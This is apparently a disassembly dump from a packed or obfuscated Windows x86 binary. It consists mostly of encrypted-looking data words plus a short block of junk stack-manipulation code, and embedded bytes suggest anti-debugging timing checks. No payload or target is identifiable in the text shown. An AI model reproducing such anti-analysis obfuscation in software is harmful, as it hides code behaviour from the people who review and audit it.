0A8AC3952h, 0BA98280Ah dd 0A7A1361Ch, 0BC902107h, 0DB0A551Eh, 16B44E7Fh, 0BD6DD148h dd 0DFC3E06Ch, 63ED3E51h, 0AD23302h, 82045D5Bh, 8C200225h dd 53E26AFBh, 0DC6F5332h, 2C25646Ch, 0ED168E94h, 0D30E0AA8h dd 82E114B3h, 0F107801h, 0B809318Eh, 0C1143694h, 637EBA8Bh dd 3B518423h, 780A616Bh, 4194B615h, 3485AB0Bh, 0F6EB4918h dd 87C23390h, 0D0044E4Bh, 0E0FC184Dh, 72396DC5h, 6B457h dd 183E8C00h, 84698BAh, 163488AAh, 0F4192B8h, 183C89AFh dd 47A48BBAh, 567C5AFAh, 4C6E4C06h, 4F7151F7h, 63704EFEh dd 4D8D097Ch, 435616B4h, 5BEA31Fh, 0DCFB9AB6h, 56E761F6h dd 0E469337h, 0C916DE3Fh, 8B218894h, 0AEFD2516h, 9FAD00A2h dd 56759855h, 2B79DD71h, 60688476h, 676B5473h, 5806B1F2h dd 6FC214DCh, 8ADBFDDDh, 2C3573C2h, 785A7D5Ah, 0D935A8E4h dd 0A20A873Dh, 4BBA0263h, 10781D52h, 837FF213h, 0AC79EFB3h dd 623E0FDh, 911D0000h, 73C3E5C5h, 83D5FBDBh, 72C1E7C7h dd 8BDA00DEh, 75BAE9C9h, 2B8BC918h, 3B9BB705h, 2886C215h dd 3D9DAF02h, 60BA2B34h, 2916B44Fh, 0E5C24EF0h, 9DB51670h dd 0B8F8DF10h, 9BEF5892h, 122EB6D7h, 0DD10AFD7h, 168BD79Eh dd 0E5CDEA2Bh, 0F8DAF854h, 5A56E765h, 7758770Fh, 0F9A50750h dd 0D8E09AFAh, 75D373A9h, 4E6DB010h, 0DB6C4E71h, 0D28A0475h dd 32530471h, 3715A8AAh, 2C20B197h, 0BCCA1F1Dh, 0B3B3EE1Fh dd 99FC0A62h, 0DA49E4E4h, 1732F973h, 58Dh, 8F2F27B3h, 953519A9h dd 892921B3h, 9A3818A7h, 8B2B29B8h, 0E7769798h, 0DD6B4D6Dh dd 0E0735575h, 0D5684A68h, 458A5777h, 0B44EB610h, 382A7F16h dd 8C1D6CBDh, 1D02A1C0h, 0B588D580h, 4FBE1D78h, 109DD8D3h dd 0F06F799Ch, 581F4D3h, 39109DD9h, 7392A3A7h, 3517A1E4h dd 270BA8A4h, 2432BA9Ah, 90C3FDE4h, 88388CD3h, 9AFB53E3h dd 4CA9DCFBh, 0D5168EBCh, 0F250A1B0h, 490A8AB7h, 50204CBDh dd 0F85AACE5h, 44h, 0C8BEA35Eh, 7AEBCCEBh, 109DB520h, 0FB4A0054h dd 8048CD9Ah, 8E980001h, 0FD4CD116h, 7F59F9DEh, 0D8EC5B7h dd 82C644C3h, 0B0020A8Ah, 3B8BCF9Eh, 61914213h, 9AF4FDE8h dd 243DFB21h, 0D0A55AADh, 0B9000000h, 0C3E06CBDh, 0B51571E4h dd 0BFDE109Dh, 4594B635h, 39213E0Fh, 7495A4A8h, 75D76A6Ch dd 0FD4FE2E4h, 9AD700DDh, 15F87E61h, 0A7B0AD2h, 66109DC3h dd 775979D3h, 0D9D766E6h, 0F6D9F690h, 0BC2AA4D9h, 0CF5E109Dh dd 655B485h, 63CE3D87h, 0C168E8Dh, 250D2A89h, 68A9B894h dd 8A8A9DF9h, 7B61660Ah, 2914899Dh, 0C311DBBAh, 0CBE89EC3h dd 74C2209Ah, 0C7E42910h, 0E1FE56E3h, 56E76BF9h, 0E9659837h dd 0B20474AEh, 654B8953h, 0C9097CD8h, 0A79F044h, 42B6663h dd 0C9150000h, 0BB0B2D8Dh, 0BB0D3393h, 0BA092F8Fh, 0C3123896h dd 2D023191h, 0C3E371C0h, 0A3034FDDh, 0C01E2A7Dh, 0A505479Ah dd 0C842B39Ch, 9116B450h, 70BD2618h, 51E4C6E4h, 0A37DDBFBh dd 99B505BEh, 8B2849C8h, 8E987B5Ah, 0EAC94C16h, 73FB9DC5h dd 0D51F2CBFh, 2967E716h, 54BE0A8Ah, 9EC795B7h, 0B96F5AADh dd 0D3000000h, 51E06CBDh, 0E574E06Dh, 3A94C9E6h, 3109DB5h dd 0B53591C4h, 9FFE109Dh, 2697F6FEh, 82109DB8h, 9CBE1D2Fh dd 0D435044Ah, 0C9F1CE0Ch, 382D377h, 64697B9h, 96F0F937h dd 8259C439h, 8302168Eh, 91200223h, 0C91372C3h, 0B512746Dh dd 74DD4540h, 308F0E10h, 0D984DE0Fh, 0C84D0474h, 62EFD300h dd 5FEED4F2h, 6F5C80F5h, 0E28979F0h, 354E7h, 0F85EEC00h dd 0E866F8DAh, 0F654E8CAh, 0EF61F2D8h dd 0F85CE9CFh, 2744EBDAh, 361CBA9Ah, 2C0EACA6h, 2F11B197h dd 4310AE9Eh, 526DE91Ch, 0E33616B4h, 0E470BD7Fh, 3551E4C6h dd 0EA8A2B92h, 1DBDDC98h, 83C51A40h, 0CF8953B2h, 51E06CBDh dd 1AADDC6Dh, 4E6F4F2Eh, 57E5B969h, 0F9C36C1Bh, 0B9B0C9D3h dd 0FE7FEECDh, 0F168F06h, 0D326D8Eh, 356A94A2h, 0E01FA9CDh dd 0AE96170Ah, 124385DCh, 665592B8h, 5E7D1C81h, 4689922Fh dd 9A270B6Ch, 626AABBAh, 92B18005h, 72C640B5h, 8EFF6042h dd 60427314h, 6AABB8DDh, 7B0B5662h, 68E2765Ch, 0F8BFAD9h dd 0D8604273h, 0CF0CD4B5h, 3087719Eh, 20BFDE66h, 6A5A73Ah dd 6EFB9424h, 573657E6h, 1F3D8706h, 85CB1C3Eh, 498B55B4h dd 52154F8h, 1ECFA78Dh, 26F528Fh, 85D10000h, 7FCFF1D1h dd 77C9EFCFh, 7ECDF3D3h, 7FCEF4D2h, 69C6F5D5h, 3F9FB504h dd 2787CB19h, 3C9AAE01h, 2989C316h, 54CE3F20h, 1D16B453h dd 6CBD5A04h, 0B557B322h, 0FD20109Dh, 0ED203F9Ch, 109DB571h dd 89C7183Ah, 2381E0E8h, 0FA6B483Eh, 168EB5EFh, 0EFD5F518h dd 0EF97D213h, 9DD0EFD0h, 0A8AB341h, 0C2418B0Ah, 107BA423h dd 0CDF2D134h, 5DC5443Fh, 9E6F79EBh, 480C5981h, 0B15098F9h dd 9FED0C4Dh, 0B7147277h, 0D96CAF46h, 17AAB04Dh, 0E071E372h dd 1071C0A1h, 0BFE3E071h, 3253E272h, 75538EAAh, 0D5578600h dd 0AFCE4F41h, 0B80B2F10h, 5765E190h, 0EF2E41D5h, 0F0D7F8E5h dd 0C1164D01h, 7057B687h, 616B1073h, 0C318D522h, 0E4C34247h dd 4351DFC3h, 0BE87B812h, 7D1C813Bh, 7CD06173h, 63E97C5Eh dd 3A1DE6EEh, 213CEBB1h, 181h, 0C3E373BFh, 0A1014DDDh dd 0BD1D2D7Fh, 0A6044C9Bh, 0BF1F3584h, 0FB4AA38Ch, 9577959h dd 0F4476949h, 1547654h, 815E6B4Bh, 0B453920Ch, 1C465B16h dd 8F1D6CBDh, 721372C3h, 0EA9CC5E3h, 0AFD598CDh, 2F6E168Eh dd 3517AA90h, 1487ADABh, 0C640B592h, 8F0A8A99h, 6F7AC60Eh dd 0B397B817h, 0FA1B2A22h, 8B1293F2h, 0E223107Bh, 0A87FDAC5h dd 736FA58Dh, 76E18802h, 0ADCC5104h, 0DFDB7223h, 399C4885h dd 4795630h, 5174EA6Dh, 221E2F6Eh, 3F20BFC7h, 0D671ED20h dd 0DB3A4570h, 0EA457211h, 53B24B5Eh, 51FB4E74h, 4EFE4F71h dd 0D5EFC31Bh, 1835F4B4h, 0CDh, 4F6FE773h, 5575D969h, 4969E173h dd 5A78D867h, 4B6BE978h, 27B6D758h, 1DAB8D2Dh, 20B39535h dd 15A88A28h, 85CA9737h, 0B453F650h, 0F86ABF16h, 0C3E06CBDh dd 6DFC4CDFh, 0E273D769h, 6BFAC2A3h, 5572144Dh, 8EB8F120h dd 0C3E32216h, 0CBE89EC3h, 0CE6F4E4h, 0AB3E1ED6h, 0B2802779h dd 0B3A0282Fh, 78120A42h, 499BBF10h, 0EB2AB701h, 0A1E5785Ah dd 125B65ADh, 5A5C478h, 1DBA9223h, 9AABA735h, 83F2717Bh dd 2FC76254h, 0F065427Dh, 0D906D196h, 5CB63E5Fh, 0AAA233DFh dd 0B993260Ch, 3B15A6A8h, 3FBC362Ah, 0AC0A4293h, 48193386h dd 5DB92C0Bh, 91D906D2h, 0DF3E0F43h, 98C30D90h, 0Dh, 815E7B36h dd 9DB4920Ch, 0B23A5B10h, 0E571BD28h, 6DDF7254h, 0E365FADCh dd 72E07052h, 252DFE3h, 92C20F33h, 20307FC3h, 0AF9B2D11h dd 242ABC9Eh, 9C682215h, 89000041h, 0E189240Ch, 4C181h dd 0E9830000h, 240C8704h db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 0CFh mov [esp], ecx push edx push esi mov esi, 61695B3h mov edx, esi pop esi mov ebp, edx pop edx push esp mov ecx, [esp] add esp, 4 push 2D27h mov [esp], ebp pop dword ptr [ecx+8] mov ecx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push dword ptr [esp] pop ebp add esp, 4 jmp loc_58442C ; --------------------------------------------------------------------------- db 38h dd 0D0DBB27Eh, 2BEF9BE7h, 0A0A8B83Bh, 0C5030616h, 0A9A7E0FFh dd 0AD63469Ah, 67E50BAAh, 23EB4167h, 0AEB44CC3h, 9742172Ah dd 48E949F4h, 48000001h, 4C000000h, 50000000h, 54000000h dd 58000000h, 5C000000h, 60000000h, 64000000h, 0A8000000h dd 0AC000000h, 0B0000000h, 0B4000000h, 0B8000000h, 0BC000000h dd 0C0000000h, 0C4000000h, 0C8000000h, 0CC000000h, 0D0000000h dd 0D4000000h, 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h dd 38h dup(0) dd 7B000000h, 3005B64h, 8D00B1C2h, 16A15185h, 8E906h, 169E0000h dd 6A497420h, 85895108h, 616A291h, 10558589h, 85C60613h dd 61311E1h, 8E954h, 958C0000h, 90E28FFFh, 805774FDh, 0E85BE7CDh dd 4, 0EE626829h, 50F08B66h, 710DBF66h, 424448Bh, 11E851h dd 29310000h, 0A30378B9h, 0A744D9FEh, 3485C9B6h, 669A5C25h dd 5B59FA8Bh, 5060008Bh, 0FE8B6652h, 0BA66310Fh, 585AF20Eh dd 6E9h, 94FA7A00h, 6123218Fh, 4244489h, 310F5250h, 8B665250h dd 52310FD7h, 5A585A5Ah, 0CE805858h, 0E9B5FFC2h, 8D06131Eh dd 167C3385h, 859D8906h, 0FF061330h, 0D18531D0h, 8906132Ch dd 16A29585h, 433EBE06h, 958B3938h, 61320E9h, 5BE9h, 0C3CB8000h dd 91B58B56h, 890616A2h, 91858306h, 40616A2h, 8D60C35Eh dd 16A151B5h, 560FEB06h, 36FF006Ah, 0A29595FFh, 835E0616h dd 3E8304C6h, 61EC7500h, 15B58BC3h, 60061314h, 0CD9D8Bh dd 6E80613h, 73000000h, 8FC55391h, 59BCB3C8h, 0C1816661h dd 9D231226h, 6131385h, 0A37C858Dh, 8B660616h, 398589F8h dd 0EB061313h, 251C8F4Fh, 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch dd 0CE00E45Ch, 1BF53134h, 29B327CEh, 0DD5B34D1h, 17E62AC7h dd 34DF1BCEh, 0A6DB67h, 422577h, 0DC80BA9Fh, 0 dd 0FEBB1B54h, 0FE390000h, 0FBh, 52DDB487h, 9ED92023h dd 7C809E01h, 1346E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0D30E9EABh, 0FBB9BAC9h dd 8E0F4879h, 0Ch, 68B0Fh, 0CF810000h, 1E486D1Fh, 173DBD83h dd 0F000613h, 3685h, 75958B00h, 0B806130Ah, 0 dd 11258589h, 4C20613h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 3C3E42DFh, 8BE3E931h dd 0C88B66C0h, 1D319589h, 0BD830613h, 6131625h, 83097500h dd 132C81BDh, 13740006h, 0C08B5350h, 4D0B8h, 519D8D00h dd 0FF0615A7h, 83585BD3h, 132C81BDh, 11740006h, 0D0B85350h dd 8D000004h, 15A69E9Dh, 5BD3FF06h, 0C8BF0F58h, 8BF8BF0Fh dd 2D8589C0h, 8D06130Fh, 16A41685h, 3D8D0B06h, 50061315h dd 76BA6653h, 4895F7Ah, 85952324h, 8D061317h, 16A3D385h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h dd 0C3564600h, 9D8971E5h, 6131259h, 50FE8B66h, 47ADBF66h dd 0F240489h, 95FFCEB7h, 6132045h, 338CCEBAh, 24448B4Dh dd 0C9816604h, 85890593h, 616A3FEh, 1ABD8529h, 0DA800613h dd 24448BBBh, 0F5B58908h, 0FC061307h, 0A4128589h, 6A0616h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0F98C37C3h, 89E2D55Eh, 132EB1B5h, 0D5BD8306h, 6131Eh dd 131850Fh, 0D78B0000h, 11E185C6h, 89470613h, 1301F58Dh dd 4E806h, 0A7D20000h, 5250D49Ah, 2A9A2ABFh, 50310F3Dh dd 0CF9EB952h, 310F12DCh, 585A585Ah, 0E6BF6650h, 24448BF8h dd 52008B04h, 0EE85250h, 7D000000h, 0BCCE8B11h, 0CC847790h dd 0D53D44BFh, 310F59CFh, 14E8h, 2EE8FB00h, 0DAAFB380h dd 637247A3h, 699B9906h, 0AA0098EBh, 585A5FE1h, 2444895Fh dd 958B5804h, 6130131h, 1EE9B5FFh, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 5E4376C3h dd 23BF017Fh, 33858DF9h, 6A06167Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 0A9C8C357h dd 6AD0FF03h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 15042444h, 45000000h, 0BC9FC355h, 0EE9h, 697FE00h, 0F64E1245h dd 140D6779h, 892B9E3Eh, 131ED585h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 5860F1Bh, 66000000h dd 0D2D6F281h, 6E9h, 0D23AF600h, 8366ADD3h, 131315BDh dd 850F0006h, 0B7h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 18h, 65C35040h, 0F6CD0F07h, 5E953h, 896A0000h dd 5F3E32A9h, 11E185C6h, 0E9470613h, 12h, 0F64A5071h, 0BE71531Dh dd 0B9959EA0h, 0CAD1719Ch, 7A6816CBh, 8B2A0F23h, 240481C8h dd 60009268h, 5B85E181h, 0B5FF7F77h, 6131EE9h, 158529h dd 858D0613h, 6167C33h, 38E0Fh, 0BF0F0000h, 6AD0FFCEh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 6419C350h, 31A8ECABh, 0B966741Dh, 858942F3h dd 6130B75h, 13158589h, 0B70F0613h, 218D8BCEh, 83061316h dd 130135BDh, 850F0006h, 0CAh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 15h, 4EC35747h, 86BF66D7h, 15958B8Ch dd 0C606130Bh, 1311E185h, 6A5606h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 4B40A7C3h, 0B4AF1068h dd 46B966FAh, 24348183h, 2EABC229h, 4D98D89h, 0B5FF0613h dd 6131EE9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 5EC35040h, 8955FA45h, 1317298Dh, 33858D06h, 6A06167Ch dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 0E902C356h, 55FA455Eh, 0B167FD15h, 1DC18166h dd 89D0FF70h, 13013585h, 7133BF06h, 85C64635h, 61311E1h dd 55006A6Ch, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 2F427687h, 14E822h, 445C0000h, 0E1186478h dd 0A081C409h, 21FE3BFBh, 82C4F4FCh, 8B66B34Ch, 4E859D7h dd 83000000h, 50DB0570h, 424448Bh, 0F98B6660h, 61FE8B66h dd 0AB6008Bh, 4244489h, 0F58D78Ah, 48Bh, 98BA6600h, 6DB5FF84h dd 6A061311h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 19042444h, 47000000h, 8D5EC357h, 0F1D2C036h, 8D19D280h dd 133AAD85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 56CD6F04h, 3890F3Ch, 66000000h, 0D0FFFA8Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 95C35141h dd 5185D46Fh, 31B58952h, 5906130Ch, 0A4028589h, 83F80616h dd 16A41EBDh, 850F0006h, 157h, 0B418D23h, 85C60613h, 61311E1h dd 13E849h, 11190000h, 6F3041EFh, 2FD7FE79h, 60B34321h dd 947B51D2h, 11B589AEh, 5A061324h, 8E8h, 0DEF25B00h, 4E550DAEh dd 10E837h, 0B2790000h, 1BF4111Ch, 0C5B0D5F4h, 0C96696CEh dd 95296255h, 6130D35h, 0B6685F5Ah, 66707DF4h, 8180D4BAh dd 35332404h, 6A1B97h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 429371C3h, 0C83402EAh, 8E0FB0B5h dd 2, 0B5FFD08Ah, 613116Dh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0E7C35040h, 0DDEC6EB4h, 6595890Bh, 8D06130Eh dd 133AAD85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 81C67561h, 1958952h, 0FF061306h dd 50006AD0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h dd 0C3504000h, 0BBD635A0h, 0B2DABCB8h, 0E9579C3Fh, 0Dh dd 3A52E133h, 0D7DE8DF6h, 3D6B4A8Fh, 0BD335FA2h, 613072Dh dd 0A41E8589h, 6A0616h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 0D339A5C3h, 0BDBD89E2h, 6A061305h dd 15850904h, 68061321h, 8800E52Ch, 95A2B966h, 0D4240481h dd 8B77FF2Ah, 13166D8Dh, 0B486806h, 0F38A23C7h, 48243481h dd 3123C60Bh, 1331F9B5h, 0F8006A06h, 297D95FFh, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 0B000DEC3h, 41AB2746h, 810F87D4h, 6, 24058501h, 85890613h dd 616A40Eh, 2DB58952h, 59061309h, 0A40685C7h, 616h, 8D8B0000h dd 6130DD9h, 0E981006Ah, 31876B73h, 4E8h, 1000000h, 7176B900h dd 6650481Ch, 8B3A3BB9h, 66042444h, 8BD048BFh, 3220BA00h dd 448962A0h, 0E8B20424h, 68D0F58h, 29000000h, 1328C1BDh dd 0BF669006h, 8B509D13h, 950990CEh, 6131FEDh, 0E2810B6Ah dd 3DD48A04h, 0A3DB858Dh, 95890616h, 61304C1h, 3880Fh dd 8B660000h, 525090F8h, 0DE8h, 0DA6B1900h, 89EF6937h dd 16ED5B64h, 61603EB5h, 57310F59h, 13E8h, 0BC6FCD00h dd 0AAFB01A3h, 341AF42Ah, 1328E0C0h, 0B1244735h, 585A5A5Fh dd 5E850h, 59650000h, 6015B5A7h, 310F5250h, 75BA585Ah dd 615E6449h, 6A905Fh, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 3AAD1FC3h, 0D595FFA7h, 6A06131Eh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0E77BC353h, 0F2C10EDCh, 5FE3BADCh, 0B58D3D56h dd 616A3E5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 2C35343h, 450A9198h dd 2ACC21EEh, 0A6AEC281h, 7E86815h, 15000000h, 0AE0E5344h dd 890F72FDh, 2, 965F6160h, 5ACE8A56h, 1EAEBA50h, 6A960C8Dh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 0C2BFC355h, 80110EACh, 6090B8F6h, 2870Fh dd 0CE8B0000h, 0FE8B5061h, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 0D0733AD1h dd 8F82996Fh, 95FFDD4Fh, 6131315h, 5E8h, 308A1500h, 0BF0FD1BEh dd 0C00B5AFFh, 31850Fh, 5E90000h, 36000000h, 9AB237CDh dd 7A8E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1404h, 0C3534300h, 0C18589D7h, 0FF06131Ah, 55006AD0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h dd 0DA16BA9Fh, 0B58B66CBh, 616A40Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 1FC35646h, 8BF0AF29h, 130E498Dh dd 20468D06h, 4CE98166h, 3810FDAh, 80000000h, 46A06C2h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 5FC35646h dd 0C810FA7h, 0F000000h, 680h, 0ED952900h, 89061307h, 131BB9BDh dd 0CE806h, 0C460000h, 5F7F3C8Ch, 0A9EDD437h, 8D0F28BEh dd 0Ah, 5E9h, 0F1B61F00h, 9059C295h, 0F18B6060h, 10E9h dd 0F8CA4C00h, 2C23C7ECh, 5665C78Eh, 2CC42E64h, 0D18B61B9h dd 59BF5061h, 9000A5E7h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 17h, 0CDC35242h, 31197A46h, 130625BDh, 85958B06h dd 0FF061325h, 16A41E95h, 0EE5CBA06h, 0C00B4E8Fh, 11840Fh dd 8D8B0000h, 6131471h, 660E9h, 61B53100h, 80061322h, 0F00207Eh dd 65084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 88DC0969h, 8166C9D2h, 60F3AAEAh dd 7443E2B9h, 20468D56h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 60C35141h, 0DE4ECA92h, 0AB268152h, 108D0F16h dd 0E9000000h, 0Bh, 0E8A0187Dh, 298EF69Dh, 8962F988h, 16A40A85h dd 7D958B06h, 0E9061319h, 0FBh, 3475958Bh, 0F400613h, 38Dh dd 0CEBF0F00h, 0A890F90h, 60000000h, 870Fh, 61600000h dd 11E85061h, 0DB000000h, 421961EAh, 24516528h, 4AFE220Bh dd 68EAB034h, 5FD38B66h, 0E7CA8090h, 958B046Ah, 6132B35h dd 50E4B190h, 0E5B96660h, 68A0FC4h, 50000000h, 5A310F52h dd 89906158h, 132CED95h, 1E95FF06h, 6A0616A4h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 5744C353h, 57B9DED7h, 0D88BD372h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 66C35040h, 10E84919h, 28000000h dd 1CE8E9B4h, 2D89B667h, 0C8B28D02h, 81B24CF3h, 8C793CC9h dd 80585F25h, 0DB0B05CAh, 25840Fh, 6E90000h, 50000000h dd 60E088EAh, 0AE979h, 46D10000h, 31773376h, 0CED9D8D2h dd 4E0E9h, 41D28100h, 80339B35h, 850F0038h, 0FFFFFF02h dd 2CA99D89h, 69E90613h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 2537C355h dd 11E93Dh, 2F500000h, 0CE58EA80h, 0D4CA473h, 0CA8B7D9Bh dd 0BFA603CDh, 22EE467Eh, 55006A48h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 60F4A341h dd 0FC2BF0Fh, 682h, 9DB50300h, 6106131Ah, 0A40A853Bh, 820F0616h dd 6Ah, 80CE8B66h, 840F5C38h, 5Eh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0C1C35646h, 3D4F6FD6h, 35DFE781h dd 38804CF7h, 89850F2Fh, 6AFFFFFFh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1E90C356h dd 820F4D37h, 6, 775BD8Bh, 0BA660613h, 0FC4023CDh, 0A412BD83h dd 0F000616h, 1E284h, 50D78B00h, 0F5B36051h, 5961C88Bh dd 6A240489h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0FBC6C350h, 0C2342CD1h, 5C3CFBC3h dd 0B299523h, 952B0613h, 61314B1h, 0A4128503h, 6A0616h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 0D0FE08C3h, 3FA81A40h, 81A00B72h, 9BBB9AEAh, 489504Bh dd 56006A24h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 0D2D7ABEDh, 71A765CEh, 0AE94Ah, 7C420000h dd 0E9F63EBCh, 0FD2A8D0Ah, 8A0F046Ah, 5, 84D18166h, 0DBD8B07h dd 5006131Fh, 2810Fh, 5BB20000h, 6A240489h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 6616C357h dd 398D8B49h, 0FF061317h, 16A41E95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0FBDE4950h dd 0C9BF0F89h, 6AD88Bh, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 118CEFC3h, 0B5890404h, 6133045h dd 7E858h, 1F8F0000h, 333FEFEFh, 0BDBD8B6Eh, 5A061322h dd 840FDB0Bh, 5Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0EEC35646h, 0AE781EABh, 8B5945C7h, 1321E58Dh dd 253E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0A2EAE2C3h, 8BC8CF36h, 133231BDh dd 8BCF8B06h, 1322C58Dh, 0C606h, 4686BF66h, 53006A58h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0B823F3CDh, 0F99D89D4h, 5006130Fh, 489CA8Bh, 56006A24h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0B5896082h, 6132041h, 0B1E6A61h, 13150DBDh, 0BEB99006h dd 502AC14Dh, 0C7FCB950h, 905F29BAh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 77C35040h, 51043D0h, 0E88A6954h dd 0A41E95FFh, 958B0616h, 6132B2Dh, 9589D88Bh, 613169Dh dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 561CA90Bh, 31F4D7CDh, 1A998D29h, 0DB0B0613h dd 11840Fh, 0BD8B0000h, 61313D5h, 140E9h, 65953300h, 90061314h dd 3E2DB966h, 90E8B250h, 0DE9h, 7A0B3C00h, 0C0D249ECh dd 120AACDEh, 0B5FFC28Dh, 616A3FEh, 0FFCA8B66h, 16A40295h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 6F8FA2EDh, 501D756Eh, 81667426h, 0E94CE5C7h dd 12h, 0DC237745h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 0C00B2DC2h dd 65850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 1F339EC3h, 8628DD63h, 0BD8B7376h dd 6130E75h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1604h, 0C3534300h, 8BE46398h, 1324918Dh, 685C706h, 10616A4h dd 29000000h, 1311D5B5h, 63E906h, 61F80000h, 30C1BD23h dd 0C6810613h, 11Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 6FC35646h, 57F24A04h, 6686A945h, 0BA1FD9BAh dd 1B4E684h, 0FFF8ECE9h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1604h, 0C3564600h, 315C2BF2h, 1300F5BDh dd 0C8D76806h, 52504D56h, 0B8616060h, 6ED6B0ADh, 0E9310F61h dd 14h, 7AEB82Dh, 2F4BE88Eh, 2CA339D5h, 6BA0910Eh, 47E7BC93h dd 3481585Ah, 5648D724h, 6E94Dh, 47960000h, 0D0F7A54Fh dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h dd 53430000h, 66543BC3h, 0FFAF77BFh, 16A40EB5h, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 0AE658F98h, 0F48C6EAh, 1D82h, 11E800h, 0EF280000h, 0E9A8541Eh dd 0EC70B744h, 55745CFFh, 31F145EFh, 132FF98Dh, 95FF5906h dd 6130135h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ah, 6C35141h, 0F0B9F112h, 0BD29CCC0h, 6130959h, 0A406858Bh dd 6A0616h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 0B950F8C3h, 33AE795Eh, 1240489h, 13298D8Dh dd 16858D06h, 0F0616A4h, 683h, 19BD8B00h, 0E9061328h, 0Ch dd 0D2B64ED2h, 0C7F73D7h, 0CCB66077h, 50595090h, 4810Fh dd 0BF660000h, 8B90D4D6h, 13248595h, 29BD8B06h, 8D061324h dd 16A3D385h, 0BD97BA06h, 0B70F4868h, 0E95090CFh, 10h dd 